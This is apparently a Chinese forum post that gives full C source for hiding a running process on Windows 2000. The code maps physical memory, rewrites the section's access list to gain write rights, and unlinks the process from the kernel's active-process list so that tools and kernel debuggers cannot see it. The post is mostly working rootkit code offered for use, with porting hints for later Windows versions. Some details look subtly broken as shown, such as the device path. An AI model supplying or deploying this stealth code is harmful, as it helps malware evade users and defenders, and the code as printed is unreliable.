in2000下进程隐藏的一种方案

十分抱歉，匆匆写了几句代码有点bug，即“ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)”使得第一次运行返回失败，请删除原文，改正为：

pjf (jfpan20000@sina.com)

　　上次在CVC提到了这东西，因为很简单觉得没必要多说什么，但有人要求写全，所以补充几句：

　　很多帖子对此论题作了分析，比如APIHOOK、系统服务HOOK等等，至于远线程注入没有自己的进程，本不算“隐藏”。

　　这里写一个2000下的完全隐藏方法，很简单，也没什么新意。

　　在讲解之前，首先提一提一些结构，进程执行体块中有数个进程相关链，其中之一是活动进程链。此链的重要
作用之一就是在查询系统信息时供遍历当前活动进程，很有意思的是M$可能因效率因素使它被排除出进程核心块，
意味进线程切换等操作时并不利用它，进一步说改写它也不该有不可忽视的问题（此即本方案的基础）。

　　怎么做很明显了，在活动进程双向链中删除想要得隐藏的进程既可，核心调试器（如softice/proc）亦查不出来。

　　2000下的隐藏当前进程的代码如下：

#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;

BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
{
return FALSE;
}

RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

return TRUE;
}

VOID CloseNTDLL()
{
if(g_hNtDLL != NULL)
{
FreeLibrary(g_hNtDLL);
}
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";


if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}

CleanUp:

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;

RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );

attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}

if( !NT_SUCCESS( status ))
{
return NULL;
}

g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
{
return NULL;
}

return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
{
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;

return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}

BOOL HideProcessAtAll()
{
if (InitNTDLL())
{
if (OpenPhysicalMemory()==0)
{
return FALSE;
}
ULONG thread=GetData((PVOID)0xFFDFF124);
ULONG process=GetData(PVOID(thread+0x22c));
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
SetData(PVOID(fw+4),bw);
SetData(PVOID(bw),fw);
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
}
return TRUE;
}

　　调用HideProcessAtAll即隐藏当前进程，如若一运行就隐藏，会修改到进程活动链表头，运行一段时间后可能出现些小问题，怎么解决，留作“课后习题”了^_^

　　注意默认物理地址0x30000为一页目录，在大多数情况时这样，但是是有例外的！怎么解决亦留作“...”吧，不多废话了。

　　稍微改一下偏移可移植于NT/XP/2003。